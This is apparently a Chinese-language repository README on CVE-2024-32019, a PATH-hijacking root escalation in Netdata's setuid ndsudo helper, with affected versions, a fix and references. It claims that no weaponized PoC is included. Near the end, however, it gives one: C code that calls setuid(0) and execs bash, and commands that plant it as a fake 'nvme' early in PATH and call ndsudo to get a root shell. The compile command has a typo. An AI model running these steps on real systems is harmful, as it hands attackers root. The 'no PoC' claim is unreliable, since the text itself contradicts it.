ndsudo 本地权限提升Netdata 的 ndsudo 辅助程序(以 setuid root 安装)限制了它可以运行的命令,但使用调用者的 PATH 来解析这些命令。在受影响的版本中,本地用户可以将恶意二进制文件放在 PATH 中更靠前的位置,使 ndsudo 以 root 权限执行它。已在 Netdata 1.45.3 和 1.45.0-169 中修复。
受影响: >= 1.44.0-60, < 1.45.0-169 和 >= 1.45.0, < 1.45.3(根据上游安全公告)。
已修复: 1.45.3(稳定版)、1.45.0-169(每日构建版)。GitHub
在 ndsudo 以 SUID 安装且用户可以调用它的系统上(通常是 netdata 组的成员),可实现本地权限提升至 root。NVDGitHub
ndsudo 是 SUID-root,并白名单了诸如 nvme-list、nvme-smart-log 等子命令。
它按名称调用外部可执行文件(例如 nvme),这些文件通过 PATH 解析,而不是使用绝对路径或安全的固定搜索路径。
如果可写目录出现在系统路径之前,攻击者可以引入一个外观相似的二进制文件,从而以 root 身份执行。GitHub
本仓库包含非利用性检查工具,它们会:
检查 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo(或实际安装位置)的 SUID/所有权。
枚举 PATH 中位于常见系统路径之前的可写目录。
确认 ndsudo 可能尝试执行的白名单子命令名称是否存在。
可选地运行 ndsudo --test <subcommand> 来打印解析后的命令而不执行它(请谨慎使用,先阅读代码)。GitHub
⚠️ 不包含武器化的 PoC。本项目供防御者和研究人员负责任地评估暴露风险并验证补丁。
升级 Netdata 至 1.45.3(稳定版)或 1.45.0-169(每日构建版)。
作为纵深防御措施,在 SUID 辅助程序中优先使用绝对路径或经过清理的最小 PATH;避免授予不必要的 ndsudo 访问权限。GitHubwiz.io
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019。NVD
Netdata 安全公告(GHSA-pmhq-4cxq-wj93)。GitHub
Wiz 摘要。wiz.io
Snyk 文章。Vulnerability Guide
MITRE/CVE 列表。CVE